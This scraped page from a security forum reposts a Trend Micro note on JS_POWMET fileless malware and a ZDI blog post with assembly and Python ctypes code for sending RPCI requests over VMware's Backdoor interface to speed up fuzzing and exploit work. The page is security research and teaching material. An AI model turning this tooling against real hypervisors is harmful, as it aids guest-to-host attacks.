effective methods for mitigating the effects of fileless malware would be to limit access to critical infrastructure via container-based systems that separate endpoints from the most important parts of the network. For this specific malware, IT professionals can also look into disabling Powershell itself to help mitigate the effects of JS_POWMET and its various payloads. Trend Micro Solutions Fileless malware is designed to make detection by security solutions more difficult, as such organizations need to implement multilayered solutions that can help in detection. Trend Micro endpoint solutions such as Trend Micro™ Security, OfficeScan, and Worry-Free Business Security include behavior monitoring to detect this type of malware; this can help organizations look out for malicious behavior that can block the malware before the behavior is executed or performed. With additional analysis from Byron Gelera The following hashtags were used for this article: 7004b6c1829a745002feb7fbb0aad1a4d32c640a6c257dc8d0c39ce7b63b58cc (TROJ_PSINJECT.A) e27f417b96a33d8449f6cf00b8306160e2f1b845ca2c9666081166620651a3ae (JS_POWMET.DE) bff21cbf95da5f3149c67f2c0f2576a6de44fa9d0cb093259c9a5db919599940 (BKDR_ANDROM.ETIN) Sursa: http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/
      • 1
      • Thanks
  18. PYTHONIZING THE VMWARE BACKDOOR August 03, 2017 | Abdul-Aziz Hariri In my previous VMware blog, I detailed how to exploit a Use-After-Free vulnerability that affected drag-and-drop functionality and triggered through the Backdoor RPC interface. After reading it, one of my ZDI colleagues, Vincent Lee, asked me to add more information about the Backdoor interface. Since tooling was also a topic on my mind, I decided to combine both in a blog post. This blog post covers some of the Backdoor functionalities, specifically the RPC interface, and goes over a couple of ways to write tools in Python to speed up the analysis, fuzzing, and exploit development of VMware’s Backdoor RPCI. Overview of the Backdoor interface VMware uses the Backdoor channel for guest-to-host communications. The Backdoor supports multiple commands. These commands can be found in lib/include/backdoor_def.h: The Backdoor uses the in/out instructions to trigger the Backdoor functions. To create a Backdoor request, we need the following ingredients: BDOOR_MAGIC (0x564D5868) value set to EAX BDOOR_PORT 0x5658/0x5659 (low/high bandwidth) set in DX Backdoor command number set in the lower half of ECX Any command specific parameters should go in EBX Execute the “in” instruction For example, if we want to execute the BDOOR_CMD_GETMHZ command which is defined in backdoor_def.h: In assembly, it looks like the following:   mov eax, 564D5868h   mov ecx, 1 //BDOOR_CMD_GETMHZ   mov edx, 5658h   in eax, dx In the case of RPCI requests, which is what we’re really interested in for now, the lower half of ECX should be set to BDOOR_CMD_MESSAGE (or 0x1E) while the high half should be set to the message type. Here are the steps: BDOOR_MAGIC (0x564D5868) value set to EAX BDOOR_PORT 0x5658/0x5659 (low/high bandwidth) set in DX Lower half of ECX set to BDOOR_CMD_MESSAGE (0x1E) The high half of ECX set to a MESSAGE_TYPE_* , where the type is defined in guest_msg_def.h as an enum:   5. EBX set to the RPCI protocol number, which is defined in rpcout.h: And then bitwise OR’d with the flags, which are defined in guest_msg_def.h:   6. Finally, execute the “in” instruction For example, if we’d like to create an RPCI request of type MESSAGE_TYPE_OPEN, it should look like the following:   mov eax, 0x564D5868   mov ecx, 0x001e //MESSAGE_TYPE_OPEN   mov edx, 0x5658   mov ebx, 0xC9435052   in eax, dx In the case of MESSAGE_TYPE_SENDSIZE which is done after a MESSAGE_TYPE_OPEN, EBX should be set to the size of the payload:   mov eax, 0x564D5868   mov ecx, 0x1001e //MESSAGE_TYPE_SENDSIZE   mov edx, 0x5658   mov ebx, SIZE   in eax, dx For a MESSAGE_TYPE_CLOSE:   mov eax, 0x564D5868   mov ecx, 0x6001e //MESSAGE_TYPE_CLOSE   mov edx, 0x5658   mov ebx, SIZE   in eax, dx Putting all of this in a function to send an RPCI request would look something like this:   mov eax, 564D5868h   mov ecx, 1Eh   mov edx, 5658h   mov ebx, 0C9435052h   in eax, dx   mov eax, 564D5868h   mov ecx, 1001Eh   mov dx, 5658h   mov ebx, [esp + 28h]   in eax, dx   mov eax, 564D5868h   mov ecx, [esp + 28h]   mov ebx, 10000h   mov ebp, esi   mov dx, 5659h   mov esi, [esp + 24h]   cld   rep outs dx, byte ptr es : [edi]   mov eax, 564D5868h   mov ecx, 0006001eh   mov dx, 5658h   mov esi, ebp   in eax, dx Pythonizing the RPCI Calls Writing tools to send RPCI requests in C/C++ is easy using the libraries in the open-source VMtools. For our own use within ZDI, I wanted to create something that helps us write faster Proof-of-Concepts (PoCs), assess new incoming cases faster and finally to make RPCI fuzzing easier. Hence, I started working on porting the functionality of sending RPCI requests from Python. Through our brief research, we figured out two ways to do this: Writing a C-Extension for Python (CPython) ctypes foreign function library for Python Initially, when I started working on this I did not even think of ctypes. It was at Recon Montreal when I was hanging out with my colleague Jasiel Spelman. We were discussing random topics, one of which was Pythonizing VMWare RPCI. That’s when he said, “Oh - it can be done in ctypes.” He also kindly agreed to write this next section and explain how it can be done via ctypes. The ctypes way [This section brought to you by Jasiel Spelman] I have a habit of using “inline” assembly in Python. In 2014, I blogged about how I inject Python into threads for the purposes of process introspection, and as part of that, we released python_injector.py. One of the benefits of a tool like this is that you can execute Python on a remote system as though you were doing so locally. This comes into play because it is then a little bit easier to implement something in pure Python rather than have to ship around compiled binaries. An added bonus is that, for the most part, you can handle cross platform support within the Python module itself rather than having varying compiled binaries for every combination of platform and Python version. For brevity, I’m only going to cover performing this from Windows. However, doing so from Linux or macOS is just a matter of calling mprotect with the appropriate flags instead of VirtualProtect. I’m also excluding the assembly itself since Abdul covered that above. Here is a snippet of everything involved:   import ctypes   from ctypes.wintypes import DWORD   from ctypes.wintypes import LPCSTR   from ctypes import CFUNCTYPE   from ctypes import addressof   ASSEMBLY = ‘’   PAGE_EXECUTE_READWRITE = 0x40   RPC_SEND_BUFFER = ctypes.create_string_buffer(ASSEMBLY)   _prototype = CFUNCTYPE(DWORD, LPCSTR, DWORD, use_last_error=True)   ctypes.windll.kernel32.VirtualProtect(addressof(RPC_SEND_BUFFER), len(RPC_SEND_BUFFER), PAGE_EXECUTE_READWRITE, 0)   _rpc_send =   _prototype(addressof(RPC_SEND_BUFFER))   def rpc_send(buf):      return _rpc_send(buf, len(buf)) The first few lines import the ctypes module and bring a few items into our namespace to make the lines a little more readable. We then define the ASSEMBLY variable, though to see the type of assembly you would actually want you’ll need to reference the earlier sections. The next section creates a ctypes string buffer, marks the buffer as executable, and defines the function prototype for the assembly we want to execute. Lastly, we define a Python function that we can call to then call into the assembly itself. I would be remiss to not show a way of also handling the assembly, and for that we’ll use the excellent Keystone assembler against one of the examples Abdul showed earlier. We’ll specifically replicate using BDOOR_CMD_GETMHZ. Here’s a snippet of what would be involved:   from keystone import Ks   from keystone import KS_ARCH_X86   from keystone import KS_MODE_32   ks = Ks(KS_ARCH_X86, KS_MODE_32)   encoding, count = ks.asm(     b'mov eax, 564D5868h;'     b'mov ecx, 1;' #BDOOR_CMD_GETMHZ     b'mov edx, 5658h;'     b'in eax, dx'   )   ASSEMBLY = ''.join(map(chr, encoding)) First, we import the relevant pieces of the Keystone library. Then, we create a Keystone assembler object. At this point, we pass it our string of assembly, where registers names may change if we’re performing this on 32-bit vs 64-bit, and values may change depending on what we are trying to invoke. Once Keystone has returned the bytes, we need to convert them from integers into a string we can use later on. Note that you don’t need to perform this portion. You could assemble the relevant instructions for your target platforms once, however, if you’re going after multiple commands, this may be beneficial. The C-Extension way If ctypes aren’t your thing, CPython also works, and I’ll demonstrate the steps I was taking prior to my talk with Jasiel. CPython supports calling C functions and declaring C types on variables and class attributes. In this case, this allows us to write the function in ASM within a Python C-Extension and compile it to a Python module. While this requires compilation each time we need to modify the underlying code, but in the end, we’d still enjoy writing scripts in Python. The C-Extension can be implemented in multiple ways. In a nutshell, here’s how it can be done (Windows/compiled with VS): Create a function using in-line assembly to send an RPC request:     __declspec(naked) void rpc_send(uint8_t *msg, uint32_t size){     __asm     {     pushad      ….      ….     popad        ret       }     }    2. Add a C function that will be called when the Python function is called:     static PyObject py_rpc_send (PyObject self, PyObject* args)     {     …        if (!PyArg_ParseTuple(args, "z#",&msg,&sz)){     …     }     rpc_send(msg,sz);     …} After compiling the code, we will end up with a Python extension .pyd that we can import from python. Formal documentation for extending Python with C or C++ may be found here. Conclusion: It’s quite handy to have a tool that allows us to rapidly write fuzzers and exploits --especially if it’s in python where it can be easily integrated into frameworks, or even to quickly write standalone scripts. The next blog in this series will cover VMware reversing in order to be able to sniff RPC requests, and you should see it in a few weeks. As always, you can find us on twitter at @abdhariri, @WanderingGlitch, and @thezdi. Also, you might be able to find us at Peppermill. ☺ Sursa: https://www.zerodayinitiative.com/blog/2017/8/1/pythonizing-the-vmware-backdoor
  19. Inainte de ISR era MortalTeam, de unde am inceput si eu. Puscas_Marin, Ras, EMINEM faceau parte din staff.
  20. Da, vad ca se pastreaza la curent cu cam tot ce apare nou.
  21. Suspect.
  22. Erau alte vremuri, alte "trend-uri".
  23. Nytro

    Reduceri Domo

    PS: Si la evomag au aceleasi preturi la S8 si S8+. Nu m-am uitat de altele.
  24. Hacking Livestream #28: Windows Kernel Debugging Part I Artem "honorary_bot" Shishkin is a fan of Windows RE, debugging and low-level stuff. He's been using WinDbg for kernel debugging for several years now for fun, customizing BSODs, building Windows kernel source tree or boot dependencies graph. Sometimes he might also accidentally discover such things as SMEP bypass on Windows 8 or how to disable PatchGuard in runtime. Being a great fan of Intel and specifically VMX technology he maintains his own bicycle debugger based on a bare metal hypervisor. Twitter handle: https://twitter.com/honorary_bot Github: https://github.com/honorarybot/ Links from the stream: Books: https://www.amazon.com/Windows-Intern... https://www.amazon.com/Windows-Intern... https://www.amazon.com/Programming-Mi... https://www.amazon.com/Developing-Win... VirtualKD http://virtualkd.sysprogs.org/ USB 3.0 debugging cable (example): https://www.datapro.net/products/usb-... Network card IDs for network debugging: https://docs.microsoft.com/en-us/wind...
×
×
  • Create New...